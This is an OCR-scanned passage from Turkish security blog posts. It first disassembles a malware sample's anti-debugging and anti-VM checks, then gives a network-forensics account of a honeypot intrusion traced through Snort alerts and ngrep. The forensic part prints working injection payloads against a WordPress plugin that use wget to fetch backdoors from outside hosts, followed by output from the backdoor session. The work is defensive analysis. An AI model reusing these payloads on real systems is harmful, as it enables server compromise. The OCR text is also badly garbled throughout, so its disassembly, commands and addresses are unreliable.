004077ES |. 8D95 C8FEFFFF [LEA EDX,DWORD PTR SS:[EBP-138]

004077EB |. B8 78784000 IMOV EAX,cyber_se.00407878 ; ASCII "VBoxService.exe"

004077F0 |. E8 FBF4FFFF |CALL cyber_se.00406CF0

004077F5 |. 8B85 CSFEFFFF MOV EAX,DWORD PTR SS:[EBP-138]
004077FB |. E8 14CAFFFF |CALL cyber se.00403C14

00407800 |. 8BDO MOV EDX,EAX

00407802 |. 8D85 CCFEFFFF [LEA EAX,DWORD PTR SS:[EBP-134]
00407808 |. E8 63C1FFFF |CALL cyber se.00403970

0040780D |. 8B85 CCFEFFFF [MOV EAX,DWORD PTR SS:[EBP-134]
00407813 |. 5A [POP EDX

00407814 |. E8 E3CAFFFF |CALL cyber se.00403CFC

00407819 |. 85C0 [TEST EAX,EAX

0040781B |. 7E OA [JLE SHORT cyber se.00407827

0040781D |. 56 [PUSH ESI ; /hObject
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0040781E |. ES DIDBFFFF |CALL ; \CloseHandle

00407823 |. B3 01 ]MOV BL,1

00407825 |. EB 1B |JMP SHORT cyber_se.00407842

00407827 |> 8D95 DSFEFFFF LEA EDX,DWORD PTR SS:[EBP-128]
0040782D |. 8BC6 MOV EAX,ESI

0040782F |. E8 34FEFFFF |[CALL cyber_se.00407668

00407834 |. 85CO0 |TEST EAX,EAX

00407836 |.~0F85 7BFFFFFF \INZ cyber_se.004077B7

0040783C |. 56 PUSH ESI ; /hObject

0040783D |. E8 B2DBFFFF CALL ; \CloseHandle

00407842 |> 33C0 XOR EAX,EAX

00407844 |. 5A POP EDX

00407845 |. 59 POP ECX

00407846 |. 59 POP ECX

00407847 |. 64:8910 MOV DWORD PTR FS:[EAX],EDX

0040784A |. 68 67784000 PUSH cyber_se.00407867

0040784F |> 8D85 C8FEFFFF LEA EAX,DWORD PTR SS:[EBP-138]
00407855 |. BA 04000000 MOV EDX 4

0040785A |. ES 3DBFFFFF CALL cyber_se.0040379C

0040785F \. C3 RETN

Softice Kontrolu
00407DBO0 /$ 53 PUSH EBX

00407DB1 |. 33DB XOR EBX,EBX

00407DB3 |. 6A 00 PUSH 0 ; /hTemplateFile = NULL

00407DBS5 |. 68 80000000 PUSH 80 ; |Attributes = NORMAL

00407DBA |. 6A 03 PUSH 3 ; [Mode = OPEN_EXISTING

00407DBC |. 6A 00 PUSH 0 ; [pSecurity = NULL

00407DBE |. 6A 03 PUSH 3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
00407DCO |. 68 000000CO PUSH C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
00407DCS5 |. 68 E07D4000 PUSH cyber_se.00407DEO ; |FileName = "\.\SICE"
00407DCA |. E8 45D6FFFF CALL ; \CreateFileA

00407DCF |. 83F8 FF CMP EAX,-1

00407DD2 |. 74 08 JE SHORT cyber_se.00407DDC

00407DD4 |. 50 PUSH EAX ; /hObject



00407DDS5 |. E8 1AD6FFFF CALL ; \CloseHandle

00407DDA |. B3 01 MOV BL,1

00407DDC [> 8BC3 MOV EAX,EBX

00407DDE |. 5B POP EBX

00407DDF \. C3 RETN

00407DEO . 5C 5C 2E 5C 53>ASCII "\\SICE",0

00407DE9 00 DB 00

00407DEA 00 DB 00

00407DEB 00 DB 00

00407DEC /$ 53 PUSH EBX

00407DED |. 33DB XOR EBX,EBX

00407DEF |. 6A 00 PUSH 0 ; /hTemplateFile = NULL

00407DF1 |. 68 80000000 PUSH 80 ; |Attributes = NORMAL

00407DF6 |. 6A 03 PUSH 3 ; [Mode = OPEN_EXISTING

00407DF8 |. 6A 00 PUSH 0 ; [pSecurity = NULL

00407DFA |. 6A 03 PUSH 3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
00407DFC |. 68 000000CO PUSH C0000000 ; |Access = GENERIC READ|GENERIC_WRITE
00407E01 |. 68 1C7E4000 PUSH cyber se.00407E1C ; [FileName = "\\NTICE"
00407E06 |. E8 09D6FFFF CALL ; \CreateFileA

00407EOB |. 83F8 FF CMP EAX,-1

00407EOE |. 74 08 JE SHORT cyber se.00407E18

00407E10 |. 50 PUSH EAX ; /hObject

00407E11 |. E8 DED5FFFF CALL ; \CloseHandle

00407E16 |. B3 01 MOV BL,1

00407E18 [> 8BC3 MOV EAX,EBX

00407E1A |. 5B POP EBX

00407E1B \. C3 RETN

00407E1C . 5C 5C 2E 5C 4E>ASCII "\.\NTICE",0

SyserDebugger Kontrolu
00407D53 . B8 847D4000 MOV EAXcyber se.00407D84 ; ASCII "\.\Syser"

00407D58 . E8 C7TFFFFFF CALL cyber se.00407D24
00407D5D . 84C0O TEST AL,AL

00407DSF . 75 1C JNZ SHORT cyber se.00407D7D
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00407D61 . B8 907D4000 MOV EAX,cyber_se.00407D90 ; ASCII "\\SyserDbgMsg"
00407D66 . E8 BOFFFFFF CALL cyber_se.00407D24

00407D6B . 84CO TEST AL,AL

00407D6D . 75 OE JNZ SHORT cyber_se.00407D7D

00407D6F . B8 A07D4000 MOV EAX,cyber se.00407DAO ; ASCII "\.\SyserBoot"

TickCount
0040D7CS |. E8 0A7DFFFF CALL ; [GetTickCount

0040D7CA |. 8BD8 MOV EBX,EAX
0040D7CC |. B8 04774000 MOV EAX,cyber se.00407704 ; Entry address
0040D7D1 |. E8 16 ASFFFF CALL cyber se.00407CEC ; ?

0040D7D6 |. 84C0O TEST AL,AL

0040D911 |. E8 BE7TBFFFF CALL ; [GetTickCount
0040D916 |. 33D2 XOR EDX,EDX

0040D918 |. 52 PUSH EDX

0040D919 |. 50 PUSH EAX

0040D91A |. 8BC3 MOV EAX,EBX

0040D91C |. 99 CDQ

0040D91D |. 290424 SUB DWORD PTR SS:[ESP],EAX
0040D920 |. 195424 04 SBB DWORD PTR SS:[ESP+4],EDX
0040D924 |. 58 POP EAX

0040D925 |. SA POP EDX

0040D926 |. 83FA 00 CMP EDX,0

0040D929 |. 75 09 INZ SHORT cyber se.0040D934
0040D92B |. 3D 88130000 CMP EAX,1388

0040D930 |. 76 0B JBE SHORT cyber se.0040D93D
0040D932 |. EB 02 JMP SHORT cyber se.0040D936
0040D934 |> 7E 07 JLE SHORT cyber se.0040D93D
0040D936 [> 6A 00 PUSH 0 ; /ExitCode = 0

0040D938 |. E8 1F7BFFFF CALL ; \ExitProcess

Piyasada yer alan ¢ogu zararli yazilimin yillardir ayn1 anti analiz kodlarini igerdigi diisiiniildiiglinde bu kodlar {izerinde bol bol pratik
yapmis olan zararli yazilim analisti i¢in bu kontrolleri tespit etmek ve agmak sadece birka¢ dakika stirmektedir.
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“ Immunity Debugger - cyber_server.exe - [CPU - main thread, module cyber_se]
Lfle wiew Debug Plugns Immib Options Window Help Jobs

o TR axpr Ul |l emtwhcPkbzr..

[11:32:331 Program entry point Anahysis b [ Paused

Bu tiir kodlarin kullanim amaci her ne kadar zararli yazilim analistinin isini zorlagtirmak olsa da motive olmus bir zararli yazilim
analistini bu tiir kontroller ile durdurmak hi¢bir zaman miimkiin degildir.

Bu vesileyle herkesin 23 Nisan Ulusal Egemenlik ve Cocuk Bayrami'ni kutlar bir sonraki yazida goriismek dilegiyle herkese giivenli
giinler dilerim...

Ag Trafiginde Adli Bilisim Analizi

Source: https://www.mertsarica.com/ag-trafiginde-adli-bilisim-analizi/
By M.S on March 18th, 2012

e

Network Forensics, Tiirk¢e meali ile bilgisayar aglarinda adli biligsim, temel olarak ag trafiginin analiz edilmesine dayanmaktadir. Post-
mortem (olay/vaka sonrasi) gerceklestirilebilmesi nedeniyle analiz igin ates duvart (firewall), saldir1 tespit/engelleme sistemi (ids/ips),
bal kiipii (honeypot) vb. ag trafik kaydi tutan cihazlarin ve sistemlerin kayitlarina ihtiya¢ duyulmaktadir. Kayitlarin analizi i¢in Snort,
ngrep, tepdump, NetworkMiner, Wireshark, tcpxtract, Netwitness Investigator, Xplico vb. g¢esitli yazilimlardan faydalanilmaktadir.

Bilgi Giivenligi AKADEMISI, Subat ayinda tamamu internet iizerindeki bal kiipii (honeypot) / CTF sistemlerinden elde edilmis ~20
GB’lik(5 DVD) trafik dosyalarini konuya merakli sektdr ¢aliganlartyla paylasma karari aldi. Ben de bahsi gegen meraklilardan biri
olarak Omer ALBAYRAK'dan temin ettigim DVDler'de yer alan dosyalara kisaca goz atmaya ve basarili olan sizma girisimlerinden
birini (geri kalanlarini meraklilara birakiyorum) tespit etmeye karar verdim.

Her biri yaklasik 1 GB olan 20 tane PCAP dosyasinda, basarili olan sizma girisimlerini aramanin samanlikta igne aramaktan farkli
olmayacagini diisiinerek daha akilci bir yol izleyerek elimdeki tiim PCAP dosyalarini Snort saldirt tespit sistemine yonlendirmenin
islerimi kolaylastiracag: diisiincesi ile sanal makineye lizerinde Snort, nmap, Nessus ve bircok agik kaynak kodlu ag giivenligi
uygulamalarini barindiran Network Security Toolkit (NST) isletim sistemini kurdum.

Normal sartlarda elimde boyut olarak ufak ve sayica az PCAP dosyalart olmus olsaydi, Backtrack 5 R2 igletim sistemi tizerinde
ver alan Wireshark, tcpdump ve ngrep gibi araglar ile analizi rahatlikla gerceklestirebilirdim.

NST isletim sistemini sanal makineye kurduktan ve Snort servisini c¢aligtirdiktan sonra sira 20 adet PCAP dosyasini bu sisteme
gonderecek (packet replay) aract bulmaya ve kullanmaya gelmisti. Bunun icin daha 6nce birgok testte kullanmis oldugum Colasoft'un
Packet Player aracini kullanmaya karar verdim. NST otomatik olarak ag bagdastiricilarini (network adapters) promiscuous kipte (mode)
baslattig1 icin paketleri bu arag ile Snort kurulu NST sistemine géndermeye bagladim.
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https://www.mertsarica.com/ag-trafiginde-adli-bilisim-analizi/
https://www.mertsarica.com/ag-trafiginde-adli-bilisim-analizi/
http://www.snort.org/
http://ngrep.sourceforge.net/
http://www.tcpdump.org
http://www.netresec.com/?page=NetworkMiner
http://www.wireshark.org/
http://tcpxtract.sourceforge.net/
http://netwitness.com/products-services/investigator-freeware
http://www.xplico.org/
http://en.wikipedia.org/wiki/Capture_the_flag#Computer_security
http://blog.bga.com.tr/genel/network-forensic-calismalari-icin-gercek-sistemlerden-alinmis-trafik-dosyalari
http://www.snort.org/
http://nmap.org/
http://www.tenable.com/
http://www.networksecuritytoolkit.org/nst/links.html
http://www.backtrack-linux.org/
http://www.colasoft.com/packet_player/
http://en.wikipedia.org/wiki/Promiscuous_mode

¥ Colasoft Packet Player i x|

Adapter: I E§ vMware Virtual Ethernet Adapter
Packet File: E:\CTF2_part.pcap
A
 Options.

[~ Burst Mode (no delay between packets)

I™ Loop Sending: 1 = loops (zero for infinite loop)
Delay Between Loops: | 1000 _:I miliseconds

v Ignore any file error

rSending Information

Current File:
Packets Sent: 0
Status: Please select a adapter and a packet file, Click Play button to start.

Progress: |

Play Pause Stop Close Help

4 saatten fazla siiren paket gonderim islemi tamamlandiktan sonra Snort tarafindan tiretilen alarmlar analiz edilmeye hazir hale geldi.

'. Basic Analysis and Security Er
€« C M © 192.168.18.174/base-php4 phi
d) Hack 4 Career. Infor... [ Linkedin 3 Mert SARICA (mertsa...  * Google Reader (1000+)

asic Analysis and Security Engine (BASE)

unigque ng Source IP

unique listing Source IP

unique listing Source IP
any protocol TCP uoeP
any protocol TCP upeP
any protocol TCcp uppP
any protocol TCP uDP Use Archive Database
any protocol TCP upP

Source Destination

Graph Alert Data
Graph Alen Detection Time

Most frequent 5 Unique Alerts

Sensors/Total: 1/ 1 Traffic Profile by Protocol
Unique Alerts: 209 TCP (2%)
Categories: 12 . ]
Total Number of Alerts: 52724
UDP (52%)
¢ S s e —————————————x ]
+ Dest. IP addrs: 41
« Unique IP links 161 ICMP {46%) ]
* Source Ports: 2587 _
. Portscan Traffic (0%)
= TCP (868) UDP (1742) | |
* Dest Ports: 22

« TCP(8) UDP ( 16)

IAIelI Group Maintenance | Cache & Status | Adm

Saldirganlar ve saldirtya ugrayan sistemler hakkinda en ufak bir fikrim olmadig1 i¢in en ¢ok tekil alarm iireten hedef ve kaynak ip adresleri

iizerine yogunlastigimda hedef olarak bir ip adresi (potansiyel sunucu), kaynak olarak ise bir kag ip adresi (potansiyel saldirganlar)
ortaya ¢ikt1.
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'.mmmms.

“ C # | © 192.168.18.178/base-php4/base_stat_uaddr.php?caler=&addr_type=0&sort_order=sig_d WKk oK e A
) Hack 4 Career. Infor... [ Linkedin W Mert SARICA (mertsa... ] Google Reader (1000+) (] Other bookmarks
s . — I |
Basic Analysis and Security Engine (BASE)
Hor arch
[ Back |

Queried on : Sat March 17, 2012 14:55:36

Meta Cniteria any

IP Criteria any

Layer 4 Cnteria none

Payload Cntena any

Displaying alerts 1-46 of 46 total
. Sensor # <Total # > < Unique Alerts > < Dest. Addr. >

L 95.173.186.116 1 2268 198 1

r 5.5.5.2 1 1284 T 1 -

r 95.9.711.218 1 19 5 1

r 88.226.57.69 1 59 5 1

- 55.5.1 1 6452 4 1

r 94.123.211.146 1 ™ 4 1

L 192.168.2.3 1 5 3 1

r 192.168.12.12 1 14533 3 1

r 255.255.255.255 1 4456 2 1

O 192.168.18.174 1 T 2 1

L 192.168.18.1 1 4 2 1

r 192.168.18.134 1 4 2 1

r 178.233.236.209 1 2 2 1

[u] 239.255.255.250 1 28822 2 1

- 88.230.107.17 1 3 1 1

r 192.168.18.173 1 1 1 1

L 188.38.184.109 1 1 1 1

r 192.168.18.142 1 k¥ 1 1
'. Basic Analysis and Security £ =g X
€« C M © 192.168.18.178/base-php4/base_sta rt sig_d wR o [TREN
) Hack 4 Career. Infor... [ Linkedin [ Other bookmarks

Added 3 alert(s) to the Alert cache
Queried on : Sat March 17, 2012 14:52:51

Meta Criteria any

IP Cnitena any

Layer 4 Criteria  none

Payload Criteria  any

Displaying alerts 1-48 of 120 total
P Sensor # <Total # > <~ linioue Aleris. < Dest. Addr. >

L 5 5 1 446 15 1
O 94.123.211.146 1 124 4 1
L 95.9.71.218 1 15 3 1
C 78.186.135.90 1 40 n 1
- 85.104.21.211 1 m 20 1
O 88.226.51.69 1 7 11 1
L AT, 1 15955 1 15
| =] 3551 1 169 1 2
L 85.105.202.222 1 4 7 1
| =] 178.233.236.209 1 6 6 1
L §1.213.251.237 1 12 4 1
=] 192.168.18.1 1 9186 4 3
L 5.5.5.2 1 6452 4 1
O 70.84.211.98 1 15 3 1
L 95.13.71.167 1 87 3 1
O 88.230.107.17 1 9 3 1
u 188.38.184.109 1 3 3 1
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'rIlBuxandrlluﬂquuyE- 'I'Bmxlndﬂsld&xumf '||5uxlnipuaﬂ5ammye L = |
« cCHN 192.168.18.178. o R 4 g A
d) Hack 4 Carees. Infor...  [[] Linkedin W Mert SARICA (mertsa... M Google Reader (1000+) (] Other bookmarks

L D <§hadm|> < Timestamp > < Source Address > < Dest. Address > < Layer 4 Proto > =
- #0{1-24881) [bugtraq] [snort] WEB-ATTACKS wget command attempt 2012-03-04 16:13.09 195.174.37.105:47901 95.173.186.116:80 TcP
I #{1.24770) [bugtraq] [snort] WEB-ATTACKS wget command attempt 2012-03-04 16:1249 195.174.37.105:51222 95.173.186.116:80 TCP
I~ #2{1-24583) [snort] WEB-MISC Is%204 2012-03-04 16:1221 195.174.37.105:34560 95.173.186.116:80 TCP
O #31.24520) [snort] WEB-MISC Is%204 2012-03-04 16:12.17 195.174.37.105:45734 95.173.186.116:80 TCP
o #4.1.24523) [snort] WEB-MISC Is%204 2012-03-04 16:12:17 195.174.37.105:45737 95.173.186.116:80 TCP
r #541.24522) [snort] WEB-MISC Is%20- 2012-03-04 16:12:17 195.174.37.105:45736 95.173.186.116:80 TCP
I~ #6{1.24521) [snort] WEB-MISC Is%20- 2012-03-04 16:1217 195.174.37.105:45735 95.173.186.116:80 cP
r #7{1-24501) [snort] WEB-ATTACKS perl execution attempt 2012-03-04 16:12:09 195.174.37.105:45731 95.173.186.116:80 TP
I #8{1.2434) [bugtraq] [snort] WEB-ATTACKS wget command attempt 2012-03-04 16:10:44 195.174.37.105:32882 95.173.186.116:80 cP
I #5{1.24291) [snort] WEB-ATTACKS perl execution attempt 2012-03-04 16:10:42 195.174.37.105:42043 95.173.186.116:80 TCP
™ #104{1.24273) [snort] WEB-MISC Is%204 2012-03-04 16:10:40 195.174.37.105:419680 95.173.186.116:80 TP
I #11{1.24269) [snort] WEB-MISC Is%20- 2012-03-04 16:10:40 195.174.37.105:41978 95.173.186.116:80 TCP
I #12{1.24268) [cve] [icat] [bugtraq] [snort] WEB-MISC cat%20 access 2012-03-04 16:10:38 195.174.37.105:41880 95.173.186.116:80 cP
I~ #13{1.24266) [snort] WEB-MISC cross site scripting attempt 2012-03-04 16:10:38 195.174.37.105:41890 95.173.186.116:80 TCP
I #14{1.24259) [nessus] [snort] WEB-PHP test php access 2012-03-04 16:10:38 195.174.37.105:41883 95.173.186.116:80 cP
[ #15(1-24258) [cve] [icat] [bugtraq] [arachNIDS] [snort] WEB-CGI yabb access 2012-03-04 16:10.36  195.174.37.105:33753 95.173.186.116:80 TCP
I #1641.24256) [snort] WEB-PHP remote include path 2012-03-04 16:10:36 195.174.37.105:33735 95.173.186.116:80 TCcP
T ®™M7{1-24237) [nessus] [snort] WEB-PHP shoutbox. php access 2012-03-04 16:10:33 195.174.37.105:46949 95.173.186.116:80 TCP
- #18{1.24238) [nessus] [snort] WEB-PHP shoutbox php access 2012-03-04 16:10:33 195.174.37.105:46950 95.173.186.116:80 TcP
I~ #19{1.24242) [snort] WEB-PHP remote include path 2012-03-04 16:10:33 195.174.37.105:3421 95.173.186.116:80 TCP
[ #20{1.24248) [snort] WEB-PHP remote include path 2012-03-04 16:10:33 195.174.37.105:33443 95.173.186.116:80 cP 3
I #21{1-24249) [cve] [icat] [bugtraq] [snort] WEB-PHP PHPLIB remote command attempt 2012-03-04 16:10:33 195.174.37.105:33454 95.173.186.116:80 TCcP
[~ #22{124236) [cve] [icat] [bugtraq] [bugtraq] [bugtraq] [snort] WEB-PHP admin.php access 2012-03-04 161031 195.174.37.105:46798 95.173.186.116:80 TCP
©  #23{1.24235) [cve] [icat] [bugtraq] [snort] WEB-MISC global inc access 2012-03-04 16:10:31 195.174.37.105:46796 95.173.186.116:80 TCP
[~ #24{1.24234) [cve] [icat] [bugtraq] [snort] WEB-MISC global inc access 2012-03-04 16:10:31 195.174.37.105:46795 95.173.186.116:80 TcP
I #25{1.242119) [snort] WEB-PHP remote include path 2012-03-04 16:10:30 195.174.37.105:46635 95.173.186.116:80 TCP
I #26{1.24220) [snort] WEB-PHP remote include path 2012-03-04 16:10:30 195.174.37.105:46641 95.173.186.116:80 cP
[~ #21{1.24222) [snort] WEB-PHP remote include path 2012-03-04 16:10:30 195.174.37.105:46644 95.173.186.116:80 CP
[ #28{1.24223) [snort] WEB-PHP remote include path 2012-03-04 16:10:30 195.174.37.105:46645 95.173.186.116:80 cP
r  #2941-24725) [snort] WEB-PHP remote include path 2012-03-04 16:10:30 195.174.37.105: 46647 95.173.186.116:80 TCP
I #3041-24229) [snort] WEB-PHP remote include path 2012-03-04 16:10:30 195.174.37.105:46658 95.173.186.116:80 TP
r #3141.24231) [snortl WEB-PHP remote include path 2012-03-04 16:10:30 195.174.37.105:46715 95.173.186.116:80 TCP

ngrep aract ile Snort {izerinde tespit edilen potansiyel saldirgan ip adreslerini her bir PCAP dosyasinda ayr1 ayri aramamak adina diger
bir sanal makinede kurulu olan Backtrack 5 R2 isletim sistemi {izerinde Wireshark araci ile birlikte gelen mergecap araci ile hepsini
tek bir dosyaya ¢evirdim.

total 17701588

—PUXPUXIWX
—PUXPUXIWX
—PUXPUXIWX
—PUXPUXIWX
TIWXIWXTWX
—PUXPUXIWX
U WX WX
—PUXPUXIWX
—PUXPUXIWX
—PUXPUXIWX
—PUXPUXIWX
TIWXTIWXEWX

| —ruxXrUxXrux
—PUXPUXIWX
—PUXPUXTWX
—PUXPUXTWX
—PUXPUXIWX
—PUXPUXTWX
—rUXIWXrWX
—PUXPUXTWX

NMMNNNNNNNMNNNNMNNNNNNDNRNS &

root root
root root
root root 1000000054 2012-02-12 15:38
root root 1000000059 2012-02-12 15:45
root root 1000000059 2012-02-12 15:52
root root 1000000034 2012-02-12 15:59
root root 1000000026 2012-02-12 16:06
root root 1000000057 2012-02-12 16:13
root root
root root 1900000021 2012-02-12 14:53
root root
root root 1000001022 2012-02-12 15:03
root root 1000005203 2012-02-12 15:06
root root 1000003910 2012-02-12 15:08
root root 1000001765 2012-02-12 15:10
root root 1000018494 2012-02-12 15:11
root root 1000000223 2012-02-12 15:13
root root 1000000043 2012-02-12 15:15
root root 1000000002 2012-02-12 15:17
root root
root root 1000000062 2012-02-12 15:28
root root

# ls -al

8192 2012-03-13 17:34
4096 2012-03-13 16:07

323679033 2012-02-12 16:15

423064127 2012-02-12 14:56

241031252 2012-02-12 15:18

238570810 2012-02-12 15:29

CTF11_part
CTF11_part
CTF11_part
CTF11_part
CTF11_part
CTF11_part
CTF11_part
CTFZ_part
CTFZ_part
CTF4_part
CTF4_part
CTF4_part
CTF4_part
CTF4 part
CTF4_part
CTF4_part
CTF4_part
CTF4_part
CTF5_part
CTF5_part

.pcap
.pcapl
.pcap2
.pcap3
.pcapd
.pcaps
.pcapb

.pcap
.pcapl
.pcap

.pcapl
.pcap2
.pcap3
.pcapd
.pcaps
.pcapb
.pcap?
.pcap8
.pcap

.pcapl

4 # mergecap —w CTF.pcap CTF11_part.pcap CTF11_part.pcapl CTF11_part.pcapZ
CTF11_part.pcap3d CTF11_part.pcap4 CIF11_part.pcapbd CTF11_part.pcapb CTFZ_part.pcap CTFZ_part.pcapl CTF4_par
t.pcap CTF4_part.pcapl CTF4_part.pcap2 CTF4_part.pcap3d CTF4_part.pcap4 CTF4_part.pcap5S CTF4_part.pcapt CTF4
_part.pcap? CTF4_part.pcap8 CTF5_part.pcap CTF5_part.pcapl

Ardindan tespit edilen potansiyel saldirgan ip adresleri arasinda en ¢ok tekil alarm iireten ip adresini (195.174.37.105) ngrep ile CTF.pcap
dosyasinda yer alan TCP paketlerinde (UDP paketlerini goz ard1 ettim) aratarak sizma girisimi hakkinda detayli bilgi edinmeye bagladim.

95.173.186.116 (saldirtya ugrayan sunucu):

+ Isletim sistemi CentOS
+ Uzerinde Apache 2.2.3 ve PHP v5.1.6 ve WordPress bulunuyor.
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http://www.backtrack-linux.org/

W C\Users\Mert|\Desktop|NF|195.174.37.105.txt - Notepad++ R =18

e Edt Search Wew Encodng laguage Seftngs Maco Run Phgns Window 2 X
HEHE s Bd0D2C Mty ¢ = | HMIED 0N RD| -
[ 195.174.37.10500 |

input CIF.pcap ﬂ

4

filter: (ip or ip6) and ( host 196.174.37.108 )

T 2011/06/29 08:19:51.160896 195.174.37.106:54829 ~> 95.173.186.116:80 [AP]

GET / HTTR/1.1.

Host: 95.173.186.116

User-Agent: Mozilla/5.0 (X11; Linux xB86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1.
Accept: text/html,appl

on/zhtml+xml, application/sxml; qed .9, */*;qu=d. 8.
Accept-Langusge: en-us,s
Accept-Encoding: gaip, deflate

Accept-Charset: I1SO-8855-1, utf-8;qe0.7,*;qe=0.7.
Keep-Alive: 118

Connection: keep-alive.

T 2011/06/29 08:18:51.162999 96.173.186.116:80 -> 196.174.37.105:54829 [AP]
HITP/1.1 200 OK

Date: Sun, 29 May 2011 12:18:51 GMT.

Server: Apache/2.2.3 (CentOS).

X-Powsred-By: PHP/5.1.6.

Content-Length: 0.

Connection: close.

Content-Type: text/html; charset=UTF-8

T 2011/056/29 08:18:51.261330 1956.174.37.106:54830 -> 95.173.186.116:80 [AD)

GET /favicon.ico HTIR/1.1

Host: 95.173.186.116

User-Agent: Mozilla/§.0 (X11; Linux x86_€4; rv:2.0.1) Gecko/20100101 Firefox/4.0.1.
Accept: image/png, image/*;ge0 8, %/%;qed &

Accept-Language: en-us,en;g=0.5

Accept-Encoding: gaip, deflate

Accept-Charset: ISO-8858-1,utf-8;qed.7,*;qe0.7.

Keep-Alive: 118

Connection: keep-alive.

| o

Piormal text fie Jength : 14859131 Wnes: 434577  An:20 Col:1 Sel: 55 Junx lanst ms

195.

174.37.105 (potansiyel saldirganlardan biri):

ilk olarak 29.05.2011 tarihinde saat 08:18'de sunucu ile baglant1 kuruyor.
ilk olarak 29.05.2011 tarihinde saat 08:29'da sunucuyu Nikto v2.1.4 ile tariyor.

29.05.2012 tarihinde saat 20:44'de WordPress'in is-human eklentisinde bulunan zafiyeti istismar ederek sistem iizerinde uzaktan
komutlar ¢alistiriyor.

29.05.2012 tarihinde saat 21:33'de wget arac1 ile Packetstorm sitesinden 60000. baglanti noktasinda (port)
dinleyen bindshell-unix arka kapisi indiriyor ancak arka kapiya baglandiktan sonra komut sonrasina noktali virgiil
koymadigi igin (Is -al;) arka kapmin ¢alismadigini saniyor. ( /wp-content/plugins/is-human/engine.php?action=log-
reset&type=ih_options();eval(stripslashes($_GET][a]));
error&a=ech0%20%22%3Cpre%3E%22;system(%27cd%20/tmp;wget%2  Ohttp://dl.packetstormsecurity.net/groups/synnergy/
bindshell-unix%20xxx.pl%27); )

Bu defa 29.05.2012 tarihinde saat 21:47'de wget arac1 ile V*****g isimli bir siteden 16667 numaral1 baglant1 noktasinda (port)
dinleyen evil.c arka kapisini indiriyor, derliyor, ¢alistirtyor ve sisteme baglaniyor. ( /wp-content/plugins/is-human/engine.php?
action=log-reset&type=ih_options();eval(stripslashes($ GET[a]));error&
a=ech0%?20%22%3Cpre%3E%22;system(%27cd%20/tmp;wget%20http://www.v*****s com/evil.c.txt%20-0%20evil.c%27); )

Daha sonra gesitli yetki yiikseltmeye yarayan cekirdek istismar araclarini denese de root yetkisine sahip olamiyor ve kayit
sonlantyor.
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http://www.exploit-db.com/exploits/17299/
http://dl.packetstormsecurity.net/groups/synnergy/bindshell-unix

B C\Users\Mert\Desktop \NF|195.174.37.105.txt - Notepad++ ) =181 x|
Eie ﬂ gearch Miew Encodng Language Seftings Macro Run Plugns Window 2 x
[ DHE o o B4DRDc/a% 2 |ARHIFIOEIER| a¥

[ 195.174.37.1050¢ |

-
T 2011/06/29 08:29:34.932402 96.173.186.116:80 -> 196.174.37.106:656288 [AP] ﬂ
HITP/1.1 404 Not Found.
Date: Sun, 29 May 2011 12:29:34 OMT.
Server: Apache/2.2.3 (CentOS).
Content-Length: 313.
Connection: close.
Content-Type: text/html; charset=isc-S858-1.

<IDOCTYPE HTML PUBLIC *-//IETF//DID HIML 2.0//EN"»>

<html><head>

<title>404 Not Found</title>

</head><body>

<hl>Not Found</hl>

<p>The requested URL /24kysRxV.thtml was not found on this sezver.</p>

<hr>

<address>Apache/2.2.3 (CentOS) Server at serverllé ntldl datacenter. ni.net. tr Port 80</address>
</body></htal>

T 2011/05/29 08:29:35.004047 195.174.37.105:652089 -> 95.173.1086.116:80 [AP)
GET /i4kysixV.pt HTTR/1.1.

Connection: Keep-Alive.

User-Agent: Mozilla/4.75 (Nikto/2.1.4) (Evasicns:None) (Test:map_codes).
Host: serverllé.ncldl datacenter.ni.net.tr.

T 2011/06/29 08:29:36.004266 95.173.186.116:80 -> 196.174.37.106:65289 [AP]
HITP/1.1 404 Not Found.

Date: Sun, 2% May 2011 12:29:3§ GMT.

Server: Apache/2.2.3 (CentOS).

Content-Langth: 310.

Connection: close.

Content-Type: text/html; charset=iso-8889-1.

<|DOCTYPE HIML PUBLIC =-//IETF//DID HIML 2.0//EN"»

5 <html><head> -
K I— A

m M|m Sel: 13 ﬁﬁ Eﬂ

Users\Mert | Desktop \NF|195.174.37.105.bxt - Notepad++ ) =12 x|

Ble Cdt Jearch Yew Encodng (anguage Seffings Maco Run Plgns Window 2 X
| B8 o 2 40D(2¢/a%|t:ARFIFEDBE0BR| -
= 195174371050 |
426687 T 2011/06/29 32:29:30.272265 95.173.186.116:16666 -> 155.174.37.1056:34483 [AP) ﬁ
-Bind Banckdoor by Simpp
For : # Bad Digites Team #
Passwd :
T 2011/06/29 22:29:37.192013 195.174.37.105:48977 -> 95.173.186.116:16667 [AP)
1s -1a
T 2011/06/29 22:29:37.198224 95.173.186.116:16667 -> 195.174.37.105:48977 [A]
total 428
drumrwxzwt 5 root oot 40%€ May 30 05:29 .
drwxr-xr-x 25 root root 4096 May 28 16:02 ..
druxrwxrwt 2 root root 4096 May 28 16€:02 _ICE-unix
~rw-r--r== 1 apachs apachs 306 May 27 23:09 .RJ_4de004ed3Zal?
-rw-r--g-- 1 apache apache 306 May 27 23:10 .NJ_4de005396d0ea
=fw=g==g== 1 apache apache 306 May 27 23:12 _NJ_4de005bdTE2b0
=rw-r--r== 1 apachs apachs 306 May 28 01:51 .NJ_4deliadalafic
-ruxr-xr-x 1 apache apache 4665 May 28 04:04 .NJ_4deldaldiSess
=fw=g==g== 1 apache apache 0 May 28 04:08 _NJ_4de04a6373333
1 apache apache 46€5 May 28 04:06 .NJ_ddeOdaad0Sédf
1 apache apache 306 May 28 04:30 .NJ_4de05018724f1
1 apache apache 306 May 28 14:46 _NJ_ddelelaf0d8cd
1 apache apache 306 May 20 16:05 .NJ_4de0f308751f£f
1 apache apache 306 May 28 16:08 .NJ_4de0f3bdlbed?
1 apache apache 306 May 28 16:12 _NJ_4de0fid0llfab
1 apache apache 4665 May 28 17:04 .NJ_4delOOel8leda
1 apache apache 453 May 28 17:06 .NJ_4del0ll@SeedS
1 apache apache 306 May 28 17:07 .NJ_4del0lbédd3ss
1 apachs apachs 306 May 28 17:11 .NJ_4del0Z85085ab
1 apache apache 306 May 28 17:11 .NJ_4delOZa$7288d
1 apache apache 306 May 28 17:14 _NJ_4del033Tal8€7
1 apachs apache 306 May 28 17:23 .NJ_4del0S5Tafbbs
1 apache apache 306 May 28 17:24 .NJ_4del0S8b07TbES
1 apache apache 306 May 28 17:25 .NJ_4del0Sea’5763 ad
